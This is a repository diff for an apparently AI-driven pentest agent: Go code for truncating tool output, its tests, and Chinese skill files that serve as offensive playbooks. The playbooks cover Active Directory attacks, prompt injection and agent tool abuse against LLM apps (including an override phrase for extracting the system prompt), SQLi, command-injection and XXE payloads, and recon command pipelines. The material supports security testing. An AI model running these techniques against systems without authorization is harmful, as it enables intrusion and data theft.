||||
"unicode/utf8"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultRootDir = "tmp/reduction"
|
||||
readFileHint = "read_file"
|
||||
)
|
||||
|
||||
// SpillOpts scopes where a trunc file is written (mirrors reduction RootDir layout).
|
||||
type SpillOpts struct {
|
||||
RootDir string // reduction_root_dir or empty → tmp/reduction
|
||||
ProjectID string
|
||||
ConversationID string
|
||||
ExecutionID string // preferred file name; empty → uuid
|
||||
}
|
||||
|
||||
// SessionRoot returns the conversation/project-scoped reduction cache root.
|
||||
func SessionRoot(configuredBase, projectID, conversationID string) string {
|
||||
base := strings.TrimSpace(configuredBase)
|
||||
if base == "" {
|
||||
base = defaultRootDir
|
||||
}
|
||||
if pid := strings.TrimSpace(projectID); pid != "" {
|
||||
return filepath.Join(base, "projects", sanitizeSegment(pid))
|
||||
}
|
||||
conv := strings.TrimSpace(conversationID)
|
||||
if conv == "" {
|
||||
conv = "default"
|
||||
}
|
||||
return filepath.Join(base, "conversations", sanitizeSegment(conv))
|
||||
}
|
||||
|
||||
// WriteTruncFile writes full content under {sessionRoot}/trunc/{id} and returns
|
||||
// an absolute path suitable for read_file.
|
||||
func WriteTruncFile(opts SpillOpts, content string) (string, error) {
|
||||
session := SessionRoot(opts.RootDir, opts.ProjectID, opts.ConversationID)
|
||||
id := strings.TrimSpace(opts.ExecutionID)
|
||||
if id == "" {
|
||||
id = uuid.NewString()
|
||||
}
|
||||
id = sanitizeSegment(id)
|
||||
dir := filepath.Join(session, "trunc")
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
return "", fmt.Errorf("mkdir tool output trunc dir: %w", err)
|
||||
}
|
||||
path := filepath.Join(dir, id)
|
||||
if abs, err := filepath.Abs(path); err == nil {
|
||||
path = abs
|
||||
}
|
||||
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
|
||||
return "", fmt.Errorf("write tool output trunc file: %w", err)
|
||||
}
|
||||
return path, nil
|
||||
}
|
||||
|
||||
// BoundWithSpill truncates full text into a <persisted-output> notice after
|
||||
// spilling the original to disk. The returned string is always ≤ maxBytes when
|
||||
// maxBytes > 0. On spill failure it falls back to a prefix + marker (no path).
|
||||
func BoundWithSpill(full string, maxBytes int, opts SpillOpts) string {
|
||||
if maxBytes <= 0 || len(full) <= maxBytes {
|
||||
return full
|
||||
}
|
||||
path, err := WriteTruncFile(opts, full)
|
||||
if err != nil {
|
||||
return boundPrefixOnly(full, maxBytes, len(full), "")
|
||||
}
|
||||
return FormatPersistedOutput(full, path, maxBytes)
|
||||
}
|
||||
|
||||
// FormatPersistedOutput builds a reduction-compatible notice with head/tail
|
||||
// previews that fits in maxBytes.
|
||||
func FormatPersistedOutput(full, filePath string, maxBytes int) string {
|
||||
return formatPersisted(len(full), filePath, full, maxBytes)
|
||||
}
|
||||
|
||||
// FormatPersistedFromFile builds the notice using previews read from an already
|
||||
// spilled file (streaming collectors that never kept the full string in memory).
|
||||
func FormatPersistedFromFile(filePath string, originalSize, maxBytes int) string {
|
||||
previewSrc := ""
|
||||
if data, err := os.ReadFile(filePath); err == nil {
|
||||
previewSrc = string(data)
|
||||
if originalSize <= 0 {
|
||||
originalSize = len(data)
|
||||
}
|
||||
}
|
||||
return formatPersisted(originalSize, filePath, previewSrc, maxBytes)
|
||||
}
|
||||
|
||||
func formatPersisted(originalSize int, filePath, previewSrc string, maxBytes int) string {
|
||||
if maxBytes <= 0 {
|
||||
maxBytes = 12000
|
||||
}
|
||||
// Always keep the absolute path readable for read_file, even under tight budgets.
|
||||
minimal := fmt.Sprintf(
|
||||
"<persisted-output>\nOutput too large (%d). Full output saved to: %s\nUse %s to read.\n</persisted-output>",
|
||||
originalSize, filePath, readFileHint,
|
||||
)
|
||||
if len(minimal) > maxBytes {
|
||||
core := fmt.Sprintf("<persisted-output>Full output saved to: %s</persisted-output>", filePath)
|
||||
if len(core) <= maxBytes {
|
||||
return core
|
||||
}
|
||||
// Path longer than budget: keep as much of the path as possible after a short prefix.
|
||||
prefix := "<persisted-output>Full output saved to: "
|
||||
suffix := "</persisted-output>"
|
||||
room := maxBytes - len(prefix) - len(suffix)
|
||||
if room <= 0 {
|
||||
return clampPrefix(core, maxBytes)
|
||||
}
|
||||
return prefix + clampSuffix(filePath, room) + suffix
|
||||
}
|
||||
|
||||
previewBudget := maxBytes - len(minimal) + 32 // approximate room beyond minimal shell
|
||||
if previewBudget > 4000 {
|
||||
previewBudget = 4000
|
||||
}
|
||||
if previewBudget < 0 {
|
||||
previewBudget = 0
|
||||
}
|
||||
for previewBudget >= 0 {
|
||||
half := previewBudget / 2
|
||||
head := clampPrefix(previewSrc, half)
|
||||
tail := clampSuffix(previewSrc, previewBudget-half)
|
||||
notice := fmt.Sprintf(
|
||||
"<persisted-output>\nOutput too large (%d). Full output saved to: %s\nUse %s with offset/limit to read parts of the file.\nPreview (first %d):\n%s\n\nPreview (last %d):\n%s\n\n</persisted-output>",
|
||||
originalSize, filePath, readFileHint, len(head), head, len(tail), tail,
|
||||
)
|
||||
if len(notice) <= maxBytes {
|
||||
return notice
|
||||
}
|
||||
if previewBudget == 0 {
|
||||
return minimal
|
||||
}
|
||||
previewBudget = previewBudget * 3 / 4
|
||||
}
|
||||
return minimal
|
||||
}
|
||||
|
||||
func boundPrefixOnly(full string, maxBytes, originalSize int, filePath string) string {
|
||||
marker := fmt.Sprintf("\n\n...[tool output truncated: original %d bytes, kept %d bytes]...", originalSize, maxBytes)
|
||||
if filePath != "" {
|
||||
marker = fmt.Sprintf("\n\n...[tool output truncated: original %d bytes, kept %d bytes; full output: %s]...", originalSize, maxBytes, filePath)
|
||||
}
|
||||
budget := maxBytes - len(marker)
|
||||
if budget < 0 {
|
||||
return clampPrefix(marker, maxBytes)
|
||||
}
|
||||
return clampPrefix(full, budget) + marker
|
||||
}
|
||||
|
||||
func clampPrefix(s string, n int) string {
|
||||
if n <= 0 {
|
||||
return ""
|
||||
}
|
||||
if len(s) <= n {
|
||||
return s
|
||||
}
|
||||
for n > 0 && !utf8.RuneStart(s[n]) {
|
||||
n--
|
||||
}
|
||||
return s[:n]
|
||||
}
|
||||
|
||||
func clampSuffix(s string, n int) string {
|
||||
if n <= 0 {
|
||||
return ""
|
||||
}
|
||||
if len(s) <= n {
|
||||
return s
|
||||
}
|
||||
start := len(s) - n
|
||||
for start < len(s) && !utf8.RuneStart(s[start]) {
|
||||
start++
|
||||
}
|
||||
return s[start:]
|
||||
}
|
||||
|
||||
func sanitizeSegment(s string) string {
|
||||
s = strings.TrimSpace(s)
|
||||
if s == "" {
|
||||
return "default"
|
||||
}
|
||||
s = strings.ReplaceAll(s, string(filepath.Separator), "-")
|
||||
s = strings.ReplaceAll(s, "/", "-")
|
||||
s = strings.ReplaceAll(s, "\\", "-")
|
||||
s = strings.ReplaceAll(s, "..", "__")
|
||||
if len(s) > 180 {
|
||||
s = s[:180]
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// Tee writes every byte to a trunc file while callers keep only a bounded
|
||||
// in-memory prefix. Safe for concurrent stdout/stderr writers.
|
||||
type Tee struct {
|
||||
mu sync.Mutex
|
||||
opts SpillOpts
|
||||
file *os.File
|
||||
path string
|
||||
err error
|
||||
open bool
|
||||
}
|
||||
|
||||
// NewTee prepares a lazy spill file (created on first Write).
|
||||
func NewTee(opts SpillOpts) *Tee {
|
||||
return &Tee{opts: opts}
|
||||
}
|
||||
|
||||
// Write appends to the spill file, creating it on first use.
|
||||
func (t *Tee) Write(p []byte) (int, error) {
|
||||
if t == nil {
|
||||
return len(p), nil
|
||||
}
|
||||
t.mu.Lock()
|
||||
defer t.mu.Unlock()
|
||||
if err := t.ensureOpenLocked(); err != nil {
|
||||
return len(p), nil // best-effort: never fail the tool pipe
|
||||
}
|
||||
if t.file == nil {
|
||||
return len(p), nil
|
||||
}
|
||||
_, _ = t.file.Write(p)
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func (t *Tee) ensureOpenLocked() error {
|
||||
if t.open || t.err != nil {
|
||||
return t.err
|
||||
}
|
||||
t.open = true
|
||||
session := SessionRoot(t.opts.RootDir, t.opts.ProjectID, t.opts.ConversationID)
|
||||
id := strings.TrimSpace(t.opts.ExecutionID)
|
||||
if id == "" {
|
||||
id = uuid.NewString()
|
||||
}
|
||||
id = sanitizeSegment(id)
|
||||
dir := filepath.Join(session, "trunc")
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
t.err = err
|
||||
return err
|
||||
}
|
||||
path := filepath.Join(dir, id)
|
||||
if abs, err := filepath.Abs(path); err == nil {
|
||||
path = abs
|
||||
}
|
||||
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600)
|
||||
if err != nil {
|
||||
t.err = err
|
||||
return err
|
||||
}
|
||||
t.file = f
|
||||
t.path = path
|
||||
return nil
|
||||
}
|
||||
|
||||
// Path returns the absolute spill path after any Write (may be empty if unused/failed).
|
||||
func (t *Tee) Path() string {
|
||||
if t == nil {
|
||||
return ""
|
||||
}
|
||||
t.mu.Lock()
|
||||
defer t.mu.Unlock()
|
||||
return t.path
|
||||
}
|
||||
|
||||
// Close flushes and closes the spill file.
|
||||
func (t *Tee) Close() error {
|
||||
if t == nil {
|
||||
return nil
|
||||
}
|
||||
t.mu.Lock()
|
||||
defer t.mu.Unlock()
|
||||
if t.file == nil {
|
||||
return nil
|
||||
}
|
||||
err := t.file.Close()
|
||||
t.file = nil
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package tooloutput
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestBoundWithSpillWritesFullFile(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
full := strings.Repeat("A", 2000) + "TAIL"
|
||||
out := BoundWithSpill(full, 512, SpillOpts{
|
||||
RootDir: root,
|
||||
ConversationID: "conv-1",
|
||||
ExecutionID: "exec-1",
|
||||
})
|
||||
if len(out) > 512 {
|
||||
t.Fatalf("bounded output exceeds max: %d", len(out))
|
||||
}
|
||||
if !strings.Contains(out, "<persisted-output>") {
|
||||
t.Fatalf("expected persisted-output notice: %q", out)
|
||||
}
|
||||
path := filepath.Join(root, "conversations", "conv-1", "trunc", "exec-1")
|
||||
abs, err := filepath.Abs(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(out, abs) {
|
||||
t.Fatalf("expected absolute path %q in notice: %q", abs, out)
|
||||
}
|
||||
got, err := os.ReadFile(abs)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(got) != full {
|
||||
t.Fatalf("spilled content mismatch: got %d want %d", len(got), len(full))
|
||||
}
|
||||
}
|
||||
|
||||
func TestTeeThenFormatPersistedFromFile(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
tee := NewTee(SpillOpts{RootDir: root, ConversationID: "c", ExecutionID: "e"})
|
||||
full := strings.Repeat("xy", 100)
|
||||
if _, err := tee.Write([]byte(full)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := tee.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
notice := FormatPersistedFromFile(tee.Path(), len(full), 512)
|
||||
if len(notice) > 512 {
|
||||
t.Fatalf("notice too long: %d", len(notice))
|
||||
}
|
||||
if !strings.Contains(notice, tee.Path()) {
|
||||
t.Fatalf("missing path in notice: %q", notice)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
---
|
||||
name: active-directory-attack
|
||||
description: >-
|
||||
内网域攻击:BloodHound,Kerberoast,ADCS ESC1/ESC8,NTLM Relay,Coerce,DACL,DCSync,Zerologon/NoPac/PrintNightmare,mitm6,LLMNR,Linux内网。Use when attacking Active Directory, ADCS, NTLM relay, or internal domain.
|
||||
tags: [渗透测试, penetration-testing, 红队]
|
||||
---
|
||||
|
||||
## 内网域攻击
|
||||
|
||||
```
|
||||
=== 内网域(2023+真实主战场) ===
|
||||
侦察: BloodHound(SharpHound收集→攻击路径) | Kerberos: GetNPUsers(AS-REP)/GetUserSPNs(Kerberoast)
|
||||
🚨ADCS(Certipy一把梭): certipy find -vulnerable | ESC1指定SAN申域管证书 | ESC8 relay到CA拿DC证书
|
||||
🚨NTLM Relay(比PtH重要,PtH常被EDR拦): ntlmrelayx -t ldap--escalate-user / -t http CA --adcs(ESC8) / RBCD
|
||||
🚨强制认证Coerce: PetitPotam(MS-EFSRPC)/coercer全协议喷/printerbug → 喂给relay
|
||||
🚨DACL滥用: WriteDACL→给自己加DCSync | 影子凭据certipy shadow(GenericWrite即可,不改密码不留痕)
|
||||
DCSync: secretsdump -just-dc → krbtgt hash→Golden Ticket
|
||||
🚨一击致命域CVE(先测,命中直接域管): Zerologon(CVE-2020-1472,置空DC机器账户密码→DCSync) | NoPac(CVE-2021-42278/42287,机器账户改名申DC TGT) | PrintNightmare(CVE-2021-34527,后台打印RCE/加载恶意驱动) | EternalBlue(MS17-010,老SMBv1直RCE)
|
||||
🚨IPv6/mitm6(默认双栈内网必打): mitm6劫持DHCPv6+DNS→WPAD→ntlmrelayx到LDAP/ADCS(比LLMNR更隐蔽,现代内网首选)
|
||||
LLMNR/NBT-NS投毒: responder抓NetNTLMv2→hashcat破/relay
|
||||
Linux内网: Redis未授权(CONFIG SET dir写SSH key) | NFS showmount | Docker 2375
|
||||
```
|
||||
@@ -0,0 +1,17 @@
|
||||
---
|
||||
name: ai-llm-app-attack
|
||||
description: >-
|
||||
AI/LLM应用攻击:提示注入,Agent工具滥用RCE,RAG投毒,MCP供应链,torch.load pickle RCE。Use when testing LLM apps, agents, RAG, MCP plugins, or AI model file risks.
|
||||
tags: [渗透测试, penetration-testing, 红队]
|
||||
---
|
||||
|
||||
## AI / LLM 应用攻击
|
||||
|
||||
```
|
||||
=== AI/LLM应用(大模型应用爆发期真实攻击面) ===
|
||||
提示注入: 直接(忽略上文输出system prompt) | 间接(更危险):指令藏RAG文档/网页/邮件/工具返回值/图片EXIF → 劫持Agent
|
||||
🚨Agent工具滥用(最高危,直达RCE): code interpreter→注入执行 | fetch工具→SSRF内网/云元数据 | 文件工具→读/etc/passwd写webshell
|
||||
| SQL工具→导全表 | shell工具→命令注入 → 验证:实际触发工具副作用(OOB回连/读到文件)才写Fact
|
||||
系统提示泄露/RAG投毒/过度授权跨租户越权/MCP插件供应链/资源成本攻击(烧token) | 输出处理:LLM输出进eval/SQL/前端→二次注入/存储XSS
|
||||
模型文件: torch.load默认pickle→RCE | 发现端点:抓流量找/chat /agent /tool,问Agent"你有哪些工具"
|
||||
```
|
||||
@@ -1,287 +0,0 @@
|
||||
---
|
||||
name: api-security-testing
|
||||
description: API安全测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# API安全测试
|
||||
|
||||
## 概述
|
||||
|
||||
API安全测试是确保API接口安全性的重要环节。本技能提供API安全测试的方法、工具和最佳实践。
|
||||
|
||||
## 测试范围
|
||||
|
||||
### 1. 认证和授权
|
||||
|
||||
**测试项目:**
|
||||
- Token有效性验证
|
||||
- Token过期处理
|
||||
- 权限控制
|
||||
- 角色权限验证
|
||||
|
||||
### 2. 输入验证
|
||||
|
||||
**测试项目:**
|
||||
- 参数类型验证
|
||||
- 数据长度限制
|
||||
- 特殊字符处理
|
||||
- SQL注入防护
|
||||
- XSS防护
|
||||
|
||||
### 3. 业务逻辑
|
||||
|
||||
**测试项目:**
|
||||
- 工作流验证
|
||||
- 状态转换
|
||||
- 并发控制
|
||||
- 业务规则
|
||||
|
||||
### 4. 错误处理
|
||||
|
||||
**测试项目:**
|
||||
- 错误信息泄露
|
||||
- 堆栈跟踪
|
||||
- 敏感信息暴露
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. API发现
|
||||
|
||||
**识别API端点:**
|
||||
```bash
|
||||
# 使用目录扫描
|
||||
gobuster dir -u https://target.com -w api-wordlist.txt
|
||||
|
||||
# 使用Burp Suite被动扫描
|
||||
# 浏览应用,观察API调用
|
||||
|
||||
# 分析JavaScript文件
|
||||
# 查找API端点定义
|
||||
```
|
||||
|
||||
### 2. 认证测试
|
||||
|
||||
**Token测试:**
|
||||
```http
|
||||
# 测试无效Token
|
||||
GET /api/user
|
||||
Authorization: Bearer invalid_token
|
||||
|
||||
# 测试过期Token
|
||||
GET /api/user
|
||||
Authorization: Bearer expired_token
|
||||
|
||||
# 测试无Token
|
||||
GET /api/user
|
||||
```
|
||||
|
||||
**JWT测试:**
|
||||
```bash
|
||||
# 使用jwt_tool
|
||||
python jwt_tool.py <JWT_TOKEN>
|
||||
|
||||
# 测试算法混淆
|
||||
python jwt_tool.py <JWT_TOKEN> -X a
|
||||
|
||||
# 测试密钥暴力破解
|
||||
python jwt_tool.py <JWT_TOKEN> -C -d wordlist.txt
|
||||
```
|
||||
|
||||
### 3. 授权测试
|
||||
|
||||
**水平权限:**
|
||||
```http
|
||||
# 用户A访问用户B的资源
|
||||
GET /api/user/123
|
||||
Authorization: Bearer user_a_token
|
||||
|
||||
# 应该返回403
|
||||
```
|
||||
|
||||
**垂直权限:**
|
||||
```http
|
||||
# 普通用户访问管理员接口
|
||||
GET /api/admin/users
|
||||
Authorization: Bearer user_token
|
||||
|
||||
# 应该返回403
|
||||
```
|
||||
|
||||
### 4. 输入验证测试
|
||||
|
||||
**SQL注入:**
|
||||
```http
|
||||
POST /api/search
|
||||
{
|
||||
"query": "test' OR '1'='1"
|
||||
}
|
||||
```
|
||||
|
||||
**命令注入:**
|
||||
```http
|
||||
POST /api/execute
|
||||
{
|
||||
"command": "ping; id"
|
||||
}
|
||||
```
|
||||
|
||||
**XXE:**
|
||||
```http
|
||||
POST /api/parse
|
||||
Content-Type: application/xml
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
### 5. 速率限制测试
|
||||
|
||||
**测试速率限制:**
|
||||
```python
|
||||
import requests
|
||||
|
||||
for i in range(1000):
|
||||
response = requests.get('https://target.com/api/endpoint')
|
||||
print(f"Request {i}: {response.status_code}")
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Postman
|
||||
|
||||
**创建测试集合:**
|
||||
1. 导入API文档
|
||||
2. 设置认证
|
||||
3. 创建测试用例
|
||||
4. 运行自动化测试
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**API扫描:**
|
||||
1. 配置API端点
|
||||
2. 设置认证
|
||||
3. 运行主动扫描
|
||||
4. 分析结果
|
||||
|
||||
### OWASP ZAP
|
||||
|
||||
```bash
|
||||
# API扫描
|
||||
zap-cli quick-scan --self-contained \
|
||||
--start-options '-config api.disablekey=true' \
|
||||
http://target.com/api
|
||||
```
|
||||
|
||||
### REST-Attacker
|
||||
|
||||
```bash
|
||||
# 扫描OpenAPI规范
|
||||
rest-attacker scan openapi.yaml
|
||||
```
|
||||
|
||||
## 常见漏洞
|
||||
|
||||
### 1. 认证绕过
|
||||
|
||||
**Token验证缺陷:**
|
||||
- 弱Token生成
|
||||
- Token可预测
|
||||
- Token不验证签名
|
||||
|
||||
### 2. 权限提升
|
||||
|
||||
**IDOR:**
|
||||
- 直接对象引用
|
||||
- 未验证资源所有权
|
||||
|
||||
### 3. 信息泄露
|
||||
|
||||
**错误信息:**
|
||||
- 详细错误信息
|
||||
- 堆栈跟踪
|
||||
- 敏感数据
|
||||
|
||||
### 4. 注入漏洞
|
||||
|
||||
**常见注入:**
|
||||
- SQL注入
|
||||
- NoSQL注入
|
||||
- 命令注入
|
||||
- XXE
|
||||
|
||||
### 5. 业务逻辑
|
||||
|
||||
**逻辑缺陷:**
|
||||
- 价格操作
|
||||
- 数量限制绕过
|
||||
- 状态修改
|
||||
|
||||
## 测试清单
|
||||
|
||||
### 认证测试
|
||||
- [ ] Token有效性验证
|
||||
- [ ] Token过期处理
|
||||
- [ ] 弱Token检测
|
||||
- [ ] Token重放攻击
|
||||
|
||||
### 授权测试
|
||||
- [ ] 水平权限测试
|
||||
- [ ] 垂直权限测试
|
||||
- [ ] 角色权限验证
|
||||
- [ ] 资源访问控制
|
||||
|
||||
### 输入验证
|
||||
- [ ] SQL注入测试
|
||||
- [ ] XSS测试
|
||||
- [ ] 命令注入测试
|
||||
- [ ] XXE测试
|
||||
- [ ] 参数污染
|
||||
|
||||
### 业务逻辑
|
||||
- [ ] 工作流验证
|
||||
- [ ] 状态转换
|
||||
- [ ] 并发控制
|
||||
- [ ] 业务规则
|
||||
|
||||
### 错误处理
|
||||
- [ ] 错误信息泄露
|
||||
- [ ] 堆栈跟踪
|
||||
- [ ] 敏感信息暴露
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **认证**
|
||||
- 使用强Token
|
||||
- 实现Token刷新
|
||||
- 验证Token签名
|
||||
|
||||
2. **授权**
|
||||
- 基于角色的访问控制
|
||||
- 资源所有权验证
|
||||
- 最小权限原则
|
||||
|
||||
3. **输入验证**
|
||||
- 参数类型验证
|
||||
- 数据长度限制
|
||||
- 白名单验证
|
||||
|
||||
4. **错误处理**
|
||||
- 统一错误响应
|
||||
- 不泄露详细信息
|
||||
- 记录错误日志
|
||||
|
||||
5. **速率限制**
|
||||
- 实现API限流
|
||||
- 防止暴力破解
|
||||
- 监控异常请求
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对API造成影响
|
||||
- 注意不同API版本的差异
|
||||
- 测试时注意请求频率
|
||||
@@ -0,0 +1,50 @@
|
||||
---
|
||||
name: attack-surface-recon
|
||||
description: >-
|
||||
侦察/攻击面测绘:被动whois/amass/crt.sh/FOFA/Shodan,主动subfinder/httpx/naabu/katana/nuclei,DNS地域/CDN/Nginx catch-all/宝塔/UniApp指纹。开局第一动作,认知写入项目黑板。Use when starting recon, asset mapping, fingerprinting, or CDN/DNS bypass discovery.
|
||||
tags: [渗透测试, penetration-testing, 红队]
|
||||
---
|
||||
|
||||
## 侦察 / 攻击面测绘
|
||||
|
||||
```
|
||||
=== 侦察/攻击面测绘(开局第一动作,60%战时在这,别裸奔进利用;端口/指纹等立即 upsert_project_fact) ===
|
||||
被动先行(不碰目标,全部执行):
|
||||
terminal: whois {domain} | grep -iE 'org|name|email|registrant'
|
||||
terminal: amass intel -asn {ASN} -d {domain}
|
||||
browser_navigate: https://crt.sh/?q=%.{domain} (证书透明挖子域)
|
||||
terminal: curl -s "https://crt.sh/?q=%.{domain}&output=json" | python3 -c "import sys,json;[print(x['name_value']) for x in json.load(sys.stdin)]" | sort -u
|
||||
terminal: dig +short {domain} @114.114.114.114; dig +short {domain} @8.8.8.8 (对比差异=CDN)
|
||||
terminal: curl -s "https://web.archive.org/cdx/search/cdx?url=*.{domain}/*&output=text&fl=original&collapse=urlkey" | head -100
|
||||
browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'domain="{domain}"' | base64)
|
||||
browser_navigate: https://www.shodan.io/search?query=hostname:{domain}
|
||||
主动流水线(逐步执行):
|
||||
terminal: subfinder -d {domain} -silent | tee subs.txt; amass enum -d {domain} -passive >> subs.txt; sort -u subs.txt -o subs.txt
|
||||
terminal: cat subs.txt | dnsx -silent | tee alive_subs.txt
|
||||
terminal: cat alive_subs.txt | httpx -silent -title -status-code -tech-detect -cdn | tee httpx_out.txt
|
||||
terminal: naabu -l alive_subs.txt -top-ports 1000 -silent | tee ports.txt; nmap -sCV -iL <(head -20 alive_subs.txt) -oN nmap_out.txt
|
||||
terminal: katana -list alive_subs.txt -silent -d 3 | tee urls.txt; gau {domain} >> urls.txt
|
||||
terminal: cat urls.txt | grep -iE '\.(js|json)$' | httpx -silent -mc 200 | while read u; do curl -s "$u" | grep -oiE '(api|secret|key|token|password|aws|endpoint)[^"]*'; done
|
||||
terminal: ffuf -u https://{target}/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -fs {catch-all-size}
|
||||
terminal: nuclei -l alive_subs.txt -t /root/nuclei-templates/ -severity medium,high,critical -o nuclei_results.txt
|
||||
→ httpx输出识别到框架/版本 → 立即触发 `component-vuln-intel` 搜索序列
|
||||
🚨DNS地域限制绕过: 国内CDN(987dns/dnspod/阿里云)常对海外DNS返0.0.0.0,用114.114.114.114解析才拿到真实IP。多DNS对比: dig @1.1.1.1 vs @114.114.114.114 vs @8.8.8.8,差异即CDN地域策略。真实IP藏在国内DNS结果中。
|
||||
🚨CDN响应过滤绕过(GCCDN/PWS等): CDN对特定URL模式(admin路径/actuator)返502而非转发后端响应:
|
||||
指纹识别: Server: PWS/x.x.x.x | Via: 1.1 PS-XXX-XXXX:N (W) | X-Px: ms CS-XXX-XXXXnone(origin) | 通配*.gccdn.net CNAME
|
||||
502≠不存在: 502=后端响应被CDN过滤, 404=路径真不存在, 403=CDN路由拒绝。用502/404/403差异枚举存活端点
|
||||
路径穿越确认: /api/v1/v/..;/..;/actuator/env → 502(存在被过滤) vs /api/v1/v/..;/..;/xxxx → 404(Tomcat原生不存在)
|
||||
CDN节点多端口: 扫CDN IP的3000-9200端口(8000/8080/9090常代理同一后端但规则可能不同,9200可能是独立nginx)
|
||||
绕过尝试矩阵(本session全测均失败,记录防重复): URL编码/双编码/大小写/分号后缀/TE空格走私/HTTP管线化/Accept-Encoding/Range
|
||||
有效信息提取: 即使502,POST actuator/env仍可能被后端执行(盲写属性)→需配合refresh触发(若refresh 404则链断)
|
||||
🚨Nginx Catch-All陷阱: PHP CMS配rewrite全路由→所有路径返200同大小=catch-all(不是文件存在!)。识别: 用3个随机路径对比size一致=catch-all。真正存活路径用.php后缀测(nginx `location ~ \.php$`直通FastCGI,不存在返真404)。
|
||||
🚨Pure-FTPd puredb损坏≠认证绕过: "Unable to read the indexed puredb file"=虚拟用户db坏了,所有用户名(包括匿名)都触发421断连。PAM系统用户认证也走puredb先→全部失败。不是攻击面,跳过。
|
||||
🚨同IP多站横向: 反查IP(SecurityTrails/微步/VirusTotal)找同服务器其他域名→其中弱站(独立nginx配置返真404=可枚举)突破→宝塔面板统一管理=横向所有站。
|
||||
指纹优先级: 一旦httpx/wappalyzer识别出框架版本 → 立即转 `component-vuln-intel` 联网情报。先测绘清攻击面,再Reason选最肥的边,不要看到一个洞就一头扎进去。
|
||||
🚨DNS通配符CDN识别: 所有子域名(包括不存在的随机子域)都解析到CDN=通配符DNS(*.domain → CDN CNAME)。此时枚举子域名无意义,所有IP都是CDN节点。
|
||||
验证: dig random123456.target.com → 如果也有A记录且指向已知CDN IP = 通配符。真实源IP需从其他渠道获取(历史DNS/证书透明/同服务器其他域名/邮件头/SSRF)
|
||||
🚨宝塔面板(BT Panel)识别: Cookie名为32位hex hash(如789d6d2de16419a1e8bbfea926c8996e) + 302跳/login + nginx反代 + "入口校验失败"页面 = BT Panel随机安全入口
|
||||
Windows版: IIS+nginx共存, 8888端口面板, 888端口phpMyAdmin(可能), /index.html可能泄露站点配置(反向代理目标URL/站点名)
|
||||
攻击: 入口路径爆破(8位随机字母数字) | 历史CVE(API key未授权/phar反序列化) | 面板默认FTP/MySQL账户复用
|
||||
🚨Nginx 404差分指纹: 当nginx catch-all重写掩盖真实路径时,比较响应大小——真实nginx 404(146B)=文件在磁盘存在但location块deny, catch-all(大页面)=路由未匹配。批量探测CMS标志路径(/caches/configs/, /phpcms/modules/, /statics/等)区分响应大小即可确认CMS类型。详见references/nginx-404-differential-fingerprinting.md
|
||||
🚨UniApp/DCloud APK逆向快速路径: assets/apps/__UNI__*/www/app-service.js = 全部业务逻辑(JS混淆); assets/zlsioh.dat = 加密配置(API域名); lib/arm64-v8a/libirzlemnr.so = 解密库。JS用RC4+base64解混淆(提取a0G数组+a0m解码器); .so中strings搜16字符随机串=可能密钥, 搜`x数字.数字.数字.数字x`格式=硬编码IP(通常是DCloud HTTPDNS基础设施而非目标API)。详见references/uniapp-dcloud-apk-reversing.md
|
||||
```
|
||||
@@ -0,0 +1,47 @@
|
||||
---
|
||||
name: binary-mobile-reversing
|
||||
description: >-
|
||||
APK/EXE/二进制:UniApp/DCloud/Flutter逆向,证书固定绕过,导出组件,内存破坏exploit链,IoT固件。Use when reversing APK/EXE, UniApp/Flutter, native .so, or memory-corruption exploits.
|
||||
tags: [渗透测试, penetration-testing, 红队]
|
||||
---
|
||||
|
||||
## APK / EXE / 二进制逆向
|
||||
|
||||
```
|
||||
=== APK/EXE/二进制 ===
|
||||
APK: apktool d / jadx | Manifest看exported组件/deeplink/debuggable | rg硬编码密钥+API地址 | .so strings/Ghidra | frida/objection动态
|
||||
🚨UniApp/DCloud APK逆向(H5混合应用,业务全在JS不在DEX):
|
||||
识别: __UNI__XXXXXXX + assets/apps/ + uni-jsframework.js (NOT Flutter,无libapp.so) | manifest.json含"uni-app"字段
|
||||
核心文件: assets/apps/__UNI__XXX/www/app-service.js (800KB+混淆JS=全部业务逻辑) | jadx只能看壳(native插件注册),真逻辑在JS
|
||||
JS解混淆(RC4+字符串数组旋转): 提取a0G()大数组(10000+元素)+a0m(idx,key)解码函数(base64→RC4)+rotation IIFE→拼可执行JS→node批量解码→JSON字典(offset→明文)
|
||||
🔴陷阱: rotation IIFE可能以逗号结尾(不是分号!属于更大表达式)→node报"Unexpected token"→按实际结束符提取
|
||||
加密配置zlsioh.dat/dcloud3.dat: header(96B偏移表:off40=block1解压/44=压缩/60=block2偏移/64=block2大小/80=block3偏移)+block1(zlib→DEX)+block2(加密,含API域名列表←关键,需.so解密)+block3(zlib→AndroidX类映射)
|
||||
